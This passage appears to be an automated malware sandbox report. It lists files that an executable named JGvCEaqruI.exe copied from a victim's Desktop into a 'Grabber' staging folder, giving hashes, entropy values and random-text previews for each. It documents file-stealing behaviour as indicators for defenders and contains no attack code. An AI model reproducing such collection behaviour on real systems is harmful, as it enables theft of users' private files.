Preview:	UNKRLCVOHVAXPHOHAZYDIMBTYYPLYBYVUEQLGGJJCFCITCEMGOMMPTCXLGLYUZHZWMTUNUOFUUYAUDMSGBWJKAMIFUAYTDIKVYQPGYQSIZTANWSUNZDHBRNONSOUWVUJZFBPOZIMZOUPVAYJKSJULUHYRYUUOLYWEWFCYAZHMJKHXUZLTHEXFDNRXIUQOZHGGMDFHSXAJKHPBRPJJKVVXGMDIMEMMFXEOBQJSMYSSMPVSVUNJLJSSMEFHHLFEVPWZDDEIKQGOJPOJWTWMNPIEQXWXOBLNLDRNRUGDUXCMTURFAWMSSYAENGRWRBIJOYJNUMDYXNDETRQMYAMGJYZKZQPFPCONTLPPRLYMQJPIWCAXNOLGZOTNQEWQGBVSNORDVIXIUJAENWBXHSXSDNAMBAXUDBRCRHHYFJQLZEAGFZJUFMBIUBABNXVYITYPKRJUMGDPPABWBKNLHDKPLRUIRQXXKLFZAHHOQZHNTUNORTHIPKRZRDGRVPKIZRHYAGOVNDISDQRFXONCHILLZJTGXRZPEIPHKZXDBODDSUZIKNUVTNMZGVZQILJHRYJYZKDBLCLJFWSXRREYFFMEXBICHNCCTBTTTTZZVMSHPBKJMXPXFJNIDQFSJDMCXXUZPFVBFVKYCVFVQFUVOJWWIUNBICQVZGOZZVDJKKZTGDLWXADCBHYGUDWYWTYVYOOICLDGZXJHSTPFGQBMRCCCBJSXCPVVBKRNYTLTAOWPNJFKXUXQORRVHCHMSRAHQHFDEMZUFOFJOQFXHQBLWKNHXKEBLUJMQCFCSTBVXKUUPPXZNEWBUZPPVJFCDLXJEGEZSQSHHBNUCTRMEDMGPNZBHGEXVTWWZFELEFQQWXGHSVDMBAGZANSOHWAGHWRFCVNRSBOOZFJQONOYPNXBMHJINMGSGLMUSTAOMZXKOIHFYYSJWELBRBKMJUVQKVVFUFLDZKJVPCATVIHCISAYNPTMBEUQYJRYFUSBKOSITLVDUTJ

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Desktop\DQOFHVHTMG.png

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.702862417860716
Encrypted:	false
SSDEEP:	24:JCmIDeBF63lGj/+QvH8n8JCl7odrVgKqBP68iz:4QQQvHFrTqBPXiz
MD5:	CC0686FCDF6617729D1EDF30F49501F1
SHA1:	02D629848E3D467D8143B057F003E0D7448126CD
SHA-256:	31E15305BC0579F03C51A1D6534B332F32C73ABC6D1B68BA0BDA6FCF97F593C9
SHA-512:	8BD18EB486BA6D2799329D9A8EFB3F52C3D109F5CB070290418DDE4B58756CD023857E4CAE62323C530FA0D3A60372C97D9744C1911A688D3592EABD14005F25
Malicious:	false
Preview:	DQOFHVHTMGONGZJMTUDJRBBZMRPVREMYHKGEHFUQYXZCSKHYXSDQYNTHYMAXXVSVAUOGMFIYPDCQLTHSECIYLWTRIBFEAYHUXINIFQBTJDZMINEEJPQYKGEESHWZILKBYECTPQSECVJBFSZOCCSNOVPIAHSFZWVXPNEQGUOXWPBXJRUYFARJLNHPVXAJZAMAADRKIWNDXYEBYMEBSXOJGEOURNOIBBLONDSVHAOQHPMGXZYJJTGITBJPQEBNXGZYUKARGBCVCJUHSRNNEVOIGUVCJVMNFBKNVZYQADNKMLUVPOTXVOQFRBXUSSRFMQEZCJFQXKCGKGKCVGGVBKNPTNSSMADFJLSDMVXHSOETKCENTGLOVOHUYJFTIWFHKFJRYNOXVIGPLHNBFPFOCWMNOQXWIPYAHPKRVTBFYKRBDVDUAZBSLWPPMXJXDVRCRPKOGCUKNZKBLJGIGZASUAZBLZBMGJSBNQSVTMGEWGLMNJKCSBEAGDUINAXDWMHJASNQRRDMKVXOKATATHRLEOJRPCUOAVQIESHZYWIQCSCAPIAJHBTEIYVRFEDCQDCDIYPMQVBWUEHDPIDAGKYZBMLBDUTEIFYLBSHAWEMNTPQDCSTOWSBZWQEBLVBNUWKZFUDMPBKETDOEOIXRFTDUFIBPBSUHXQTCPRPZAKDTRWMGSAVOZBNDDMDIHBSGIPOMYLKSGKUWRGKNXSOLUZDUZYQFQTKMNWLSYKVAQVIHJTFYNRTERQMIRVMLNWEIMHPIWEWIZJJRGOCBVHFGCSCPAIQYTEMYIQJKVUFAZERTMPUQSRHOZHOYABIALCSKDKHEDHJGKBYVCDZGPYPCLDCEFHWFMLSBOUUGKJFXSVKJVYVTSMIZISSWNRRWBNOMXZCOJAULXRXTNHTYWTZNFOKXVGZMTRVOSMSRMYBHKSHRCPZSSMDBJOTQQRGYIHEMZHHSWECVAOPVNLGBYHZVZPLQHOTCJNPUXICWZBLKAQFGUZPW

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Desktop\GLTYDMDUST.docx

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69569301223482
Encrypted:	false
SSDEEP:	24:P1aJ3UFXnPRRqJn5Ao7J4kXjiut748cX3Gg6hQk:P1aWFX5RQnAuh48cHGg6hQk
MD5:	CA404BEA65D84F58838AF73B2DC67E02
SHA1:	56EDE3A3BF70705B1D42A2AE13F6605057C1E5F6
SHA-256:	4A28C898DF5967827C26FD633CD56275159EF4C4C0193E484E8E8F3E9ECC66B9
SHA-512:	10C144317CDB5A368733346EB8440A986A377916F98BE0E8232E668A8C5E107E06829ADF575751B94D0B0AA37F4CAC48DBD7BC64FFE8DCB140FB033C00CEC721
Malicious:	false
Preview:	GLTYDMDUSTFARDVTDTOSUXWTZPBTWYSDUWRWNQMOYZIOPMOCUVTIJOHJYLHKBCEDWQBIYLQPLFXNZVXOZBIBDNIIHCNZHRIZBCANIAZPBFFJNXGCWLILIHHCYJHZSFIZUUDHFLQEWBBOMWJOZCKSAOAVKAWDPLPLVPHHMTSMKFCHYLMZJYKTJZUGPCSSVJJOKBWSTSLHJSIZZNIHOVEXPMQSKABHGSGHFUWVNTWTGYCLXOQEPAIEYRMLWJNNZHEPKXAHFKJUQHDHBHMPKXFCHXQYMICUKIVHNMPIJURPFBDBUQWHFTUVKPWMJHVOENGHYYNPMJPLPTQKABBVHNTLFXAJUISPUCEXPQFWXNQKGLSPRPJEAIJQZNYNOWAKNLRQHQRIOFXWLXEJZPOKNRPRZQJIGYXOWWZDFNURUOTFOOSKCNYLZXJZIWHYYUTOQRDTTRMPEMHZSRVZISBDQKRQYXAZOKOCTHUJKZWNHJSEMHTCSKCARZUYORNVIXVWTGAWUONMQVDITNHLNLJNREIEBPKELOMXBMEUBFTSVSGBVXSXHICRIGHIFVXWPXMIKKKCBOFCJGKJYZJDAWFCHWCNIMOPOPYUXDESMSSFNZBKRVTKTFPFGCIMVLKPBRKBRZJRHIYUQFAFEODGJZAXKRAFGTBXKKKTOXYTJBCHZWBDPBSBRTICVTUOWNEXJIZFESQAIMINDZJFLHIQSMVIICPGSEVSLVSVPMBXUGAPVVXVNJEBHRRBRPIHKGVJJDRANYKMMFJJBFPKFDJAROFBZANTWLCLSELNCCDRQUPZIMXLCVFZOFWKZYXCLQVRUFHUTIFPNWERRWWXHSVZHEYMHULWKGIIWKBRWODYKIGEPXGOEZXMJVKVNTEOQXZBOZBXYKMUGZUYMELGGHJJVDPONTLTQGITEMXYMMOGRWMQDUHIGHPJWPGIEZDZPFZHQMQKLTBUGJXLBLEGTFQZOXBPYRZFHNMZGVZGRAKFYTWDWWKV

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Desktop\GLTYDMDUST.xlsx

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69569301223482
Encrypted:	false
SSDEEP:	24:P1aJ3UFXnPRRqJn5Ao7J4kXjiut748cX3Gg6hQk:P1aWFX5RQnAuh48cHGg6hQk
MD5:	CA404BEA65D84F58838AF73B2DC67E02
SHA1:	56EDE3A3BF70705B1D42A2AE13F6605057C1E5F6
SHA-256:	4A28C898DF5967827C26FD633CD56275159EF4C4C0193E484E8E8F3E9ECC66B9
SHA-512:	10C144317CDB5A368733346EB8440A986A377916F98BE0E8232E668A8C5E107E06829ADF575751B94D0B0AA37F4CAC48DBD7BC64FFE8DCB140FB033C00CEC721
Malicious:	false
Preview:	GLTYDMDUSTFARDVTDTOSUXWTZPBTWYSDUWRWNQMOYZIOPMOCUVTIJOHJYLHKBCEDWQBIYLQPLFXNZVXOZBIBDNIIHCNZHRIZBCANIAZPBFFJNXGCWLILIHHCYJHZSFIZUUDHFLQEWBBOMWJOZCKSAOAVKAWDPLPLVPHHMTSMKFCHYLMZJYKTJZUGPCSSVJJOKBWSTSLHJSIZZNIHOVEXPMQSKABHGSGHFUWVNTWTGYCLXOQEPAIEYRMLWJNNZHEPKXAHFKJUQHDHBHMPKXFCHXQYMICUKIVHNMPIJURPFBDBUQWHFTUVKPWMJHVOENGHYYNPMJPLPTQKABBVHNTLFXAJUISPUCEXPQFWXNQKGLSPRPJEAIJQZNYNOWAKNLRQHQRIOFXWLXEJZPOKNRPRZQJIGYXOWWZDFNURUOTFOOSKCNYLZXJZIWHYYUTOQRDTTRMPEMHZSRVZISBDQKRQYXAZOKOCTHUJKZWNHJSEMHTCSKCARZUYORNVIXVWTGAWUONMQVDITNHLNLJNREIEBPKELOMXBMEUBFTSVSGBVXSXHICRIGHIFVXWPXMIKKKCBOFCJGKJYZJDAWFCHWCNIMOPOPYUXDESMSSFNZBKRVTKTFPFGCIMVLKPBRKBRZJRHIYUQFAFEODGJZAXKRAFGTBXKKKTOXYTJBCHZWBDPBSBRTICVTUOWNEXJIZFESQAIMINDZJFLHIQSMVIICPGSEVSLVSVPMBXUGAPVVXVNJEBHRRBRPIHKGVJJDRANYKMMFJJBFPKFDJAROFBZANTWLCLSELNCCDRQUPZIMXLCVFZOFWKZYXCLQVRUFHUTIFPNWERRWWXHSVZHEYMHULWKGIIWKBRWODYKIGEPXGOEZXMJVKVNTEOQXZBOZBXYKMUGZUYMELGGHJJVDPONTLTQGITEMXYMMOGRWMQDUHIGHPJWPGIEZDZPFZHQMQKLTBUGJXLBLEGTFQZOXBPYRZFHNMZGVZGRAKFYTWDWWKV

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Desktop\GLTYDMDUST\GLTYDMDUST.docx

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69569301223482
Encrypted:	false
SSDEEP:	24:P1aJ3UFXnPRRqJn5Ao7J4kXjiut748cX3Gg6hQk:P1aWFX5RQnAuh48cHGg6hQk
MD5:	CA404BEA65D84F58838AF73B2DC67E02
SHA1:	56EDE3A3BF70705B1D42A2AE13F6605057C1E5F6
SHA-256:	4A28C898DF5967827C26FD633CD56275159EF4C4C0193E484E8E8F3E9ECC66B9
SHA-512:	10C144317CDB5A368733346EB8440A986A377916F98BE0E8232E668A8C5E107E06829ADF575751B94D0B0AA37F4CAC48DBD7BC64FFE8DCB140FB033C00CEC721
Malicious:	false
Preview:	GLTYDMDUSTFARDVTDTOSUXWTZPBTWYSDUWRWNQMOYZIOPMOCUVTIJOHJYLHKBCEDWQBIYLQPLFXNZVXOZBIBDNIIHCNZHRIZBCANIAZPBFFJNXGCWLILIHHCYJHZSFIZUUDHFLQEWBBOMWJOZCKSAOAVKAWDPLPLVPHHMTSMKFCHYLMZJYKTJZUGPCSSVJJOKBWSTSLHJSIZZNIHOVEXPMQSKABHGSGHFUWVNTWTGYCLXOQEPAIEYRMLWJNNZHEPKXAHFKJUQHDHBHMPKXFCHXQYMICUKIVHNMPIJURPFBDBUQWHFTUVKPWMJHVOENGHYYNPMJPLPTQKABBVHNTLFXAJUISPUCEXPQFWXNQKGLSPRPJEAIJQZNYNOWAKNLRQHQRIOFXWLXEJZPOKNRPRZQJIGYXOWWZDFNURUOTFOOSKCNYLZXJZIWHYYUTOQRDTTRMPEMHZSRVZISBDQKRQYXAZOKOCTHUJKZWNHJSEMHTCSKCARZUYORNVIXVWTGAWUONMQVDITNHLNLJNREIEBPKELOMXBMEUBFTSVSGBVXSXHICRIGHIFVXWPXMIKKKCBOFCJGKJYZJDAWFCHWCNIMOPOPYUXDESMSSFNZBKRVTKTFPFGCIMVLKPBRKBRZJRHIYUQFAFEODGJZAXKRAFGTBXKKKTOXYTJBCHZWBDPBSBRTICVTUOWNEXJIZFESQAIMINDZJFLHIQSMVIICPGSEVSLVSVPMBXUGAPVVXVNJEBHRRBRPIHKGVJJDRANYKMMFJJBFPKFDJAROFBZANTWLCLSELNCCDRQUPZIMXLCVFZOFWKZYXCLQVRUFHUTIFPNWERRWWXHSVZHEYMHULWKGIIWKBRWODYKIGEPXGOEZXMJVKVNTEOQXZBOZBXYKMUGZUYMELGGHJJVDPONTLTQGITEMXYMMOGRWMQDUHIGHPJWPGIEZDZPFZHQMQKLTBUGJXLBLEGTFQZOXBPYRZFHNMZGVZGRAKFYTWDWWKV

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Desktop\GLTYDMDUST\HMPPSXQPQV.pdf

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698711683401115
Encrypted:	false
SSDEEP:	24:qKHpKPokvebe5xXL3g76mBU/gS2JBbl20IS7pnXk:Rpcjnxbw7TYgS2nbzIS7pnXk
MD5:	47643CE7571E0C995094D7CE5F2005D7
SHA1:	40D42828B2F68C625EBD884FB8AF5B20F5A1DF9C
SHA-256:	1D642D4EC7BC821B0FFA28C3F2702C875C922139D8001EADD664EBCCF8D321B3
SHA-512:	3AAD0470C01D2609662C0B8D146BA79132B404C669C22032D085233E2D30725797AC2E15A11F54DFE00E4B6CA6E914E3439D4775B3AF6D782334FE9424F485A5
Malicious:	false
Preview:	HMPPSXQPQVZTKYGXRLZXZQHGCZSWFSMKAZTFZQVPBWYDEIQOYRZBKZROCVLLNDGOXMZATHCHJWBWCKMDMUVOMUCFYNBSIKMCOOAGLUHDSCAREEEQGTRYCAFLTFVCHREFHJJALACUPWFTGZJJVRRQBVOZGXIEUBTJBNHNAXRWAWTUYQZIZWPARDBZBFGZUBQQPINOCLFOLDPTMWQVUUBDSNGDFVMEOTHPNKBOMDPGLFXUXBXHUOTYRPUQTUJPKLUSNTISPNFAHVFBBWEWJQFBJFCDDWUUKCQJNEKMUTJEZKKMXXOCBOVMCGGYTPDYBYYFVGHQJJBCDHYWPXJUJWPNURQCUHPTATLFRAOGUCJWWSBAITHVPDRYRFCTPIWHJVKSAXOIPKHISTBCDZISGIVPPYDJLJWFRNVNCWIOINKYQLAFVLCPSGCZABGNTUVGEDQZGQNDECUBPLLOYUYTHXDNNCAXKLHFZXBBAWBICFREGZBLZZMPWRLUSXUNEXAKLSJETGNCJTTGSNPPSHZUKZDHHYHBBWKJUSIBAKGKHQJINZHCWLBCIIUGTVVLNEZXUBIPUVRAILLENTRJYFNIBHNOUNYAIFQBNUMFUSXNGITFIFZKTSFAQXDYVBIUCIUYJIGJTIJHWTPPRJQVSBHHUXLZRPPJOWJAPSVQQVKLFHKXZRPEJBFXNKVNBCPMLRQGCJINKLLBJVROFAFCDRFCDAMIDEYSZDWNLUMJZXGWKOIKNAYVXPYRZWMBNAAFKFOPCVNGUECOARMDWJVYVUQQAFEGKCYXVVGXPHPEVOMRADTQDTJSHAKHPNNOGUDWBRXDJFEMSJTJUJKHZONBLGDCDDUDTRQKPOFACELSKHFSBPKXKDGWOKSDBAMWLKXEAOOHWVOAQZGZCNSDWOXSHPTFMVMYQXTRNMUPZSFQXOQLPUFJWHWTXXIRMQXDPVAJKHMSCGTFVJKECYILRMHGFBWQKUNTRVZTBJQJAKTSJUIDOLPL

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Desktop\GLTYDMDUST\LFOPODGVOH.xlsx

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698393795110914
Encrypted:	false
SSDEEP:	24:weX7B5oYsT2B9e4Feb4OKL65JIiga/zOnv9iY81icgfiTetEc8E:FPoYsqB9e4dP63IigGOvo11LetEc8E
MD5:	7C5655873C22D2522B13B34841F82038
SHA1:	ED733AE5B3E813B97D69E7283AEB8085EFC62B78
SHA-256:	9A515FAA0EE108930EC0C597C9E2CA74B21C3C9D45F3F845954A65F3FA4C494D
SHA-512:	A98C25203B5A8C5C3FE7859E1B128BA3C0B5691BE716C53CA427770F10EC65CBB8B704EEA994BCE1ECA69EC4D46BCC0D48FE844653B964E96D1248D2E211CBD2
Malicious:	false
Preview:	LFOPODGVOHLLKBCXZQUOXPFEKGPKVDEYIZRZGQPAXXVWAHGTCBCWCYBHYOPHLEVYFLCEXNMVAAPUECIPRDZTIBJFGFXDAEMKYPYGCWSRTCUEEDISUDHVYQEPCSIKRBOXVZVTBFVUQHQYHEIWQPMZFNXNKGPPDGDMKJWAYJVYMRCYCWORBYPZYIFTAANBVDPJJOGYMYDPMPCNSOQVKLKNKHQVJQRYOOACYXVWFBJGOZRXUBDUSJEQNJXCVPHTUWAVCILOAXOWIJVWKMAIOEWTHGQELYIGVJJZNFBDSZXPZMLZNFDRIJQQQDSSMCBEMRHVOYIGRXSYQYDLBDBDJCVRREJGRUBPNYBFUCUXLMUIULULHCWJQQEMKBQMLJBDJQHFXPNODSTVZXWZZOXPIXKBRKMKOYEBDUBYOGMGXHFMCUIKRQYQMHGUBUAAFTMUCZNIIVAIOOBIASAJPKXIYIQIRVIIXGNUEDAXQJYWQXOBTAINKSTSHZGNUWVHVDUXVGWBWRXOYEGSIRNXRHBFOAWRQVFKAGDUSHRWQWJQRNMOGHTWFHOOZGRSVCSEJNMPDYUGTSBOMGHSHACUNTVVGKNAZSSLLQOXMCBVKFFAQLQCWYNIWPVJRECIKVCXZGCNHKXMQDPPOURAWIKZOZEFLDUYVIGDPGUMGOGBUYKGLVLWQSDAHAAIVFUNWQIWKRCSLCPMZBWBBDTBBVTZNYCLEIZNLQRHKBOLVTUTWSURDWQTCHAPUMJQWNVWVGFLAAPEHMLBUSYJCZDJUMZMKIOKIMVTYPMCXUXWVXIMVUCNXESHIVCKNFAALGDXCVJHQZWLDSAWNJWFBTHDBKGVKXLWDOPOOBJMPJCKUXVNFQVOUEIHJKOHTDCQCDOFQBMSQNWVDKTKWJIFVOMWEUJULPMGUSEWAZAHAZVGRSWNQYXPMKFWQGODZHVNOEXZBPLONONBPAHCDWEMSFLRJBFMOKMCLAGRJEGRTGVETXSZKDXQWEOD

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Desktop\GLTYDMDUST\QFAPOWPAFG.png

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690474000177721
Encrypted:	false
SSDEEP:	24:2OgtZqoLtXCKESzKP+tziBUswJwLVk9zxY/tks7VMejXhggCon:cLtXZEmKPopswJEqxUkp82an
MD5:	A01E6B89B2F69F2DA25CB28751A6261C
SHA1:	48C11C0BECEB053F3DB16EC43135B20360E77E9B
SHA-256:	0D0EB85E2964B5DDA19C78D11B536C72544AE51B09DBEC26E70C69ADDC7E9AA5
SHA-512:	1E335E567B7F959E7524E532E257FBC0A21818BDCE0B909F83CBBCE8013FA61A8D665D7DED0982F87B29A5A786A0EE7129792A1B2D48DD205180569D9E919059
Malicious:	false
Preview:	QFAPOWPAFGZUMXROWPODMNAMXJGGULHBVFMBDFCUTBDPEHPYKVYAURAEPYZMHPBECXOGPOKPNMKAIBYHBFNFVWPHHZFRFVAYYHSJZJTHAYESIKJCXVOVANTTAMQKCXEHJRYFSWGEELTALODIPFLWFILANHAGQENMCPNFLPAJIPRNZRAIETALHZECBIKVUBLJMHNYJXPSAMZZCVZQOHLATXYVRZQROYHFKLVOJLGRAGXLMXJHKHSSCTHDFNSLOUEZPTFGVVVGCDIXIBWQFIIFACZAYUUQZJRKZXJQPLVPFTJAMSPRDIBBPPFLUCOUPPQDSFKQXMEIFUXXAGKAWLWJPNBHZSGIAFFXPBLRMFNGMVBEWTTPFJEHMXLOZWQHEHGWBXCAMZISSZMPHUOREQDUTUEPDVLBWTFCJIFAGQOEHFIMLTDTDLYPEQZDZBBZYMKXTUKVCEROFCABVNAQXVLLCCNLEOGKLFPVSGMNNQZHFNCWNPGBCLLMTYKZMJSUDIPHSUQJQTOTICLSMQNHYJAQTVXMEZAEGNBGADHUJNJLQZSSGWRLYBWJEOTERXWRTICIVUFNKHRUSWRGABWPZDFTGSDASOKXSFUGVBUISDQNJUAOCSOANZFXTFQGDKEKGZJRMJMGTAJCTJEOCZCUZMUYKAKZZQYDRJXWZWMOXQQLWJMWAENIFMHJXMELOZTVHRLQZNWCBXKEBNUBDDOFYHNWIPPRWGDZCQLMHAOLYZIDJJXAASOVDNHNMDDCIWFPIOLQHWQCPUVUZUDVOKBMFLALCZEQWJAKTVUUDROHEKJKHQBLQZNVWSNNZFKMZLQPFYUYHNCDTCBVUUNKNZIORBFTFVKLHZTQAPWVKTTZFCTHJBBWQMZTFKADJIZZANUOLLRBSVTUCNIJWDQPYHEPWEUTFVNOACOFURIPTLDGJUOYFJRHAUIQREUKUSADZYOEDEDZRKKPKLFLFQIMMIKLOCTSOFOEZYVAGMCITCUWAOUT

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Desktop\GLTYDMDUST\VWDFPKGDUF.jpg

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696835919052288
Encrypted:	false
SSDEEP:	24:Fn9jgzow1W6XZpt5tv2wi/9nymo1rcjQV26NyDmb5HPZ:zjgEw1bpfTi1yfhcUV2by5HPZ
MD5:	197C0DB71198B230CF6568A2AA40C23B
SHA1:	BAE63DD78D567ED9183C0F8D72A191191745C4E5
SHA-256:	6935BFDC854F927C6F05F97AE4865ECAA22F7D10D909725B7D67D87F17FF0F41
SHA-512:	972C7D9B89EBADA01E3C2D21B391AFA317A8B587DE768875B3B7082761E17AF795BF72B49DEE71DC1F5363863EEF3C7E2966E6AE3D2E6F481E373A77163316C7
Malicious:	false
Preview:	VWDFPKGDUFQFRUPAPPQGIIRLBMRJVLIMQXSWPKBCUGCSOYPXVZRYABCFRPGQFBKSRNNBPWCDTZQKOZTHEOXCUIMHAWUSAMNXIIEPWHBTSEWOJOEJUQZAZDGIRHLRLOCXDMGTXDXEJOWMXIFWDAGYCVGTBKYMXDYOTCGCARASSUUCMCNKFTCZOAQXBNILJTUOLCZYYUZFHGWFTCHDXYTZOEGFUAJLGZANLVNEVWHIIIRSURMEOTZWVHRLOGMTVRWICZIENOPRWLNSVHXQMULNZLBRICRJVVBJMJGVHJSCKBXVMICMFJQQTCIUSXRLUSMTSWGCQDGVFRQVIURPCVBLZIFEZKBUZGKUJIZAWRLYVVXWFGKCMRQFIVHFVXBDHBEKOJAILQRRTZPUTWBVRNRLZEMFWWBQUGOQWYUEGPKIVHQJHQHSJWVVENNMOAHFXILPEJPHZOQMAVSUXBQQEJFNFIKFQWEWEPKTIQQETBFSABZAOBVXEBARHKLVLMCAFGXXBLNGBZRJQOGMNGDAODYAVKYTFOYJRZDLZIYWZNRPPVZNHCTKOIHMETIQDHDGBHUSSZDLEXZSKRZLTIUMEADMONDOIPXWOAELAEUEJDZBECSINHBJNAYCCYTMEJUWYDNJDACYHUQIQZZBMKKRCJDQSGEHBSIIWWFOPRPYXHWNRLQFZPXUQSZHWHJGRVRNYZBBQUFKAWZTIDUQSFTJJPUAKBRGABJCNWDXOUPLCRZTCKKHIKTYZOGNWDCTUTSDFJLIDJMCLEXGJRUQRWREGZISCYJSMOFQXYMCGMMJMSQASADRKRHYGUYLIBJAAJOTHXHEVLCQEGGJBJBKULCPBXSIOOIEJPQIXDQHKAQSQMLWOISQZQTMTCLGTEHDXRHOIVIVQGKJJACQWPPTBGGHHKJRRPRENADLUPCMGIERRBDQYQJFUSIHVYGVGSIQZZWUZLCSUBMKCQYKCYTJRNNKEZZWFQMXWYFKKWAXFIFRJZTE

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Desktop\GNLQNHOLWB.png

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698695541849584
Encrypted:	false
SSDEEP:	24:ZE+7+1bm31iNKty4eaTDMDURN6ZqyioAe1L:ZE+61bm0Qty41T5N6ZNLAeZ
MD5:	64E7020B0B401F75D3061A1917D99E04
SHA1:	785E09A2F76464E26CE282F41DE07D1B27FFB855
SHA-256:	9E5D6C897851C4A24A0D3BC4F9291A971550B9F1B9F9CFB86D7A2D5F12CD63B0
SHA-512:	14D18C0739A9B9097C2135DF001E31BA17772A9ED1DFC62318AD092C133F8C054E5C335354C57929137344E11AC6F0EBC5032211136D1F1B3F6DF8F1434D90E3
Malicious:	false
Preview:	GNLQNHOLWBOQVJIFTLNFGJNNXMGUZOMCUNVQXIPWIQSXJKHHVRYLBVHOHRRAZCZOOSABVUNECAWUZDTCLDYZAFJGGGUXKDFDPLZWHOYARDSHMWUJKNJPXNWQKOEVEVLWQLXKJLHTDQZQULYODUZGGIUHFXGBKGLAQBERUUCASFPJWCVSHYWEKXXBEZZVPBKVPPRGJJFXTGVBUVLUVQNAPBMPJOZNNFCDPEHNHWSMZSBAYITASRGZTGXSYUNNLKZKAVLGDGRIUVYOWINQLHMWTCZYYSGNSZQWZQNLKENKZJSDTJDSZVFQGHKVENDXCIHQVPCJNVXYVCJTKGGQJHTLGYJROSCXNGTCNNLCBSAOHAXWLQLCXTRIYCZVDEDWKBEHBEBKKXYVNQHTFFQFVFLHQRXMYLCHQAJKIRETOPSMFDVMJOROHVBDNWQMACXDCGCPKSQUIXWYXSYDPSBSUJMXEBPBCWJDOKOSFYRZQSCWEIHCQFTRYQVAUUYDVCYUHDRUKCTOGNWSTPHONXNHSHICTVCMWIDPOKQMNGFKZOADDJPTUVPEWWFNEKDLAVDZNBHHFIRSPGSQGUQUGGIRSVJTEIAUJEHUVHRJPWEMACBNRIWVFWWRDNGHYAESSKWHOCXLPYRMKQYTXSSYLKESQEPWVDSSTKTYQDQTTAUVWPQFTTJMGMEGRECDIFCMPKXTYYNGENSBDKEVPPDNRRDLULORZGHRQIQWLMHMKLKDLNSNWXWGTMDLMPWAGGPUJXOOYWOGWZTDKIVNNXMKJEFALSJECCOVZVTAPKGAXWCUMHLAHYBPLBTDXBKKPKPJFJOKZKMPEWOOMMMCZHSENRPGKEJJHHOVFETVBBFBTDTSNLGGPVPAFDOXRJUKYZTGOFQUAVOGUZJARUUCKMRYUSWZIRYUATBQRRVCNMFMMBTGSFQCAOTPTSBPCICPBMURXQOIITZCLXKSJVDGFLGHUIHTALRYCNLFILDCLQXDOGMOKPXT

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Desktop\HMPPSXQPQV.pdf

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698711683401115
Encrypted:	false
SSDEEP:	24:qKHpKPokvebe5xXL3g76mBU/gS2JBbl20IS7pnXk:Rpcjnxbw7TYgS2nbzIS7pnXk
MD5:	47643CE7571E0C995094D7CE5F2005D7
SHA1:	40D42828B2F68C625EBD884FB8AF5B20F5A1DF9C
SHA-256:	1D642D4EC7BC821B0FFA28C3F2702C875C922139D8001EADD664EBCCF8D321B3
SHA-512:	3AAD0470C01D2609662C0B8D146BA79132B404C669C22032D085233E2D30725797AC2E15A11F54DFE00E4B6CA6E914E3439D4775B3AF6D782334FE9424F485A5
Malicious:	false
